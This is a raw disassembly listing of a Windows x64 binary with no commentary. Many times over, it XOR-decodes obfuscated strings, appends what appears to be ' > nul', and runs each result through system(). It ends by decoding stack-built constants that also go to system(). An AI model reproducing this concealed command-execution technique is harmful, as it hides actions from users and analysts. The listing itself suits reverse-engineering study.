lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004e120
cmp r8d, 0x33
jge 0x14004e251
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004e220
mov r8, rbx
lea rcx, [rbp + 0x2ae0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2b00]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b00]
call fcn.14002b440
lea rcx, [rbp + 0x2ae0]
call fcn.14002b440
lea rcx, [rbp + 0x2ac0]
call fcn.14002b440
mov edx, 0xd
lea rcx, [rbp + 0x2b20]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x409e]
xor eax, eax
lea rcx, [rbp + 0x3d]
mov byte [rbp + 0x3d], al
call fcn.14006c7d0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004e431
mov r8d, esi
cmp r15d, 2
jl 0x14004e3f3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004e300
cmp r8d, 0x33
jge 0x14004e431
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004e400
mov r8, rbx
lea rcx, [rbp + 0x2b40]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2b60]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2b60]
call fcn.14002b440
lea rcx, [rbp + 0x2b40]
call fcn.14002b440
lea rcx, [rbp + 0x2b20]
call fcn.14002b440
mov byte [0x141557544], 0
cmp byte [0x14155749a], 0
je 0x14004e865
mov edx, 0xa
lea rcx, [rbp + 0x2b80]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x42d4]
xor eax, eax
lea rcx, [rbp + 0x3e]
mov byte [rbp + 0x3e], al
call fcn.14006c810
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x14004e621
mov r8d, esi
cmp r15d, 2
jl 0x14004e5e4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004e4f1
cmp r8d, 0x35
jge 0x14004e621
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x14004e5f0
mov r8, rbx
lea rcx, [rbp + 0x2ba0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2bc0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2bc0]
call fcn.14002b440
lea rcx, [rbp + 0x2ba0]
call fcn.14002b440
lea rcx, [rbp + 0x2b80]
call fcn.14002b440
mov edx, 0xa
lea rcx, [rbp + 0x2be0]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x4309]
xor eax, eax
lea rcx, [rbp + 0x3f]
mov byte [rbp + 0x3f], al
call fcn.14006c850
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x14004e801
mov r8d, esi
cmp r15d, 2
jl 0x14004e7c3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004e6d0
cmp r8d, 0x35
jge 0x14004e801
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x14004e7d0
mov r8, rbx
lea rcx, [rbp + 0x2c00]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2c20]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2c20]
call fcn.14002b440
lea rcx, [rbp + 0x2c00]
call fcn.14002b440
lea rcx, [rbp + 0x2be0]
call fcn.14002b440
mov byte [0x14155749a], 0
cmp byte [0x141557498], 0
je 0x14004ecbf
mov edx, 5
lea rcx, [rbp + 0x2c40]
call fcn.140040450
mov edx, 0xb
lea rcx, [rbp + 0x2c60]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x40d1]
xor eax, eax
lea rcx, [rbp + 0x40]
mov byte [rbp + 0x40], al
call fcn.14006c890
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004ea11
mov r8d, esi
cmp r15d, 2
jl 0x14004e9d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004e8e0
cmp r8d, 0x33
jge 0x14004ea11
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004e9e0
mov r8, rdi
lea rcx, [rbp + 0x2c80]
mov rdx, r10
call fcn.140073bb0
mov r8, rbx
lea rcx, [rbp + 0x2ca0]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2cc0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2cc0]
call fcn.14002b440
lea rcx, [rbp + 0x2ca0]
call fcn.14002b440
lea rcx, [rbp + 0x2c80]
call fcn.14002b440
lea rcx, [rbp + 0x2c60]
call fcn.14002b440
lea rcx, [rbp + 0x2c40]
call fcn.14002b440
mov edx, 5
lea rcx, [rbp + 0x2ce0]
call fcn.140040450
mov edx, 0xb
lea rcx, [rbp + 0x2d00]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x4104]
xor eax, eax
lea rcx, [rbp + 0x41]
mov byte [rbp + 0x41], al
call fcn.14006c8d0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004ec31
mov r8d, esi
cmp r15d, 2
jl 0x14004ebf3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004eb00
cmp r8d, 0x33
jge 0x14004ec31
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004ec00
mov r8, rdi
lea rcx, [rbp + 0x2d20]
mov rdx, r10
call fcn.140073bb0
mov r8, rbx
lea rcx, [rbp + 0x2d40]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2d60]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2d60]
call fcn.14002b440
lea rcx, [rbp + 0x2d40]
call fcn.14002b440
lea rcx, [rbp + 0x2d20]
call fcn.14002b440
lea rcx, [rbp + 0x2d00]
call fcn.14002b440
lea rcx, [rbp + 0x2ce0]
call fcn.14002b440
mov byte [0x141557498], 0
cmp byte [0x141557546], 0
je 0x14004f151
mov edx, 0xa
lea rcx, [rbp + 0x2d80]
call fcn.140040450
mov edx, 4
lea rcx, [rbp + 0x2da0]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x4238]
xor eax, eax
lea rcx, [rbp + 0x42]
mov byte [rbp + 0x42], al
call fcn.14006c910
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14004ee61
mov r8d, esi
cmp r15d, 2
jl 0x14004ee23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004ed30
cmp r8d, 0x34
jge 0x14004ee61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14004ee30
mov r8, rdi
lea rcx, [rbp + 0x2dc0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x2de0]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x2e00]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2e20]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2e20]
call fcn.14002b440
lea rcx, [rbp + 0x2e00]
call fcn.14002b440
lea rcx, [rbp + 0x2de0]
call fcn.14002b440
lea rcx, [rbp + 0x2dc0]
call fcn.14002b440
lea rcx, [rbp + 0x2da0]
call fcn.14002b440
lea rcx, [rbp + 0x2d80]
call fcn.14002b440
mov edx, 0xa
lea rcx, [rbp + 0x2e40]
call fcn.140040450
mov edx, 4
lea rcx, [rbp + 0x2e60]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x426c]
xor eax, eax
lea rcx, [rbp + 0x43]
mov byte [rbp + 0x43], al
call fcn.14006c940
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14004f0a1
mov r8d, esi
cmp r15d, 2
jl 0x14004f063
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004ef70
cmp r8d, 0x34
jge 0x14004f0a1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14004f070
mov r8, rdi
lea rcx, [rbp + 0x2e80]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x2ea0]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x2ec0]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2ee0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ee0]
call fcn.14002b440
lea rcx, [rbp + 0x2ec0]
call fcn.14002b440
lea rcx, [rbp + 0x2ea0]
call fcn.14002b440
lea rcx, [rbp + 0x2e80]
call fcn.14002b440
lea rcx, [rbp + 0x2e60]
call fcn.14002b440
lea rcx, [rbp + 0x2e40]
call fcn.14002b440
mov byte [0x141557546], 0
xor eax, eax
lea rcx, [rbp + 0x4a40]
mov byte [rbp], al
movabs rdi, 0x2911b4dc05d67983
mov byte [rbp], al
movabs rbx, 0x2fa0d557e5debcea
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a40], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a48], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a50], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a58], rax
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a60], rax
movabs rax, 0xa7c213d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a68], rax
movabs rax, 0x494c90a7a4dde581
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a70], rax
movabs rax, 0xebfb5aa658a5f2ab
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a78], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a88], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a90], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4a98], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4aa0], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4aa8], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ab0], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4a80]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a40]
vmovdqa ymmword [rbp + 0x4a40], ymm1
mov qword [rbp + 0x4ab8], rax
vmovdqu ymm0, ymmword [rbp + 0x4aa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a60]
vmovdqa ymmword [rbp + 0x4a60], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4675dab5528a43c0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x4ac0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ac0], rax
movabs rax, 0x2a9c80d87e8c8a97
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ac8], rax
movabs rax, 0x76add1cdd5278420
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ad0], rax
movabs rax, 0x41c1b83c96bfc8b6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ad8], rax
movabs rax, 0xe91e870ddb8e28d6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ae0], rax
movabs rax, 0xc9c213d29c3d4c91
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ae8], rax
movabs rax, 0x1d5b9dafb0c6c7f7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4af0], rax
movabs rax, 0xebfb36d35aeebcf0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4af8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b00], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b08], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b10], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b18], rax
movabs rax, 0xc76ae968b6eb4fb7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b20], rax
movabs rax, 0xe9945afdbc5834f4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b28], rax
movabs rax, 0x3d35f2c6c3b4a2a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b30], rax
movabs rax, 0xebfb36d3369bd2ce
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4b00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4ac0]
vmovdqa ymmword [rbp + 0x4ac0], ymm1
mov qword [rbp + 0x4b38], rax
vmovdqu ymm0, ymmword [rbp + 0x4b20]
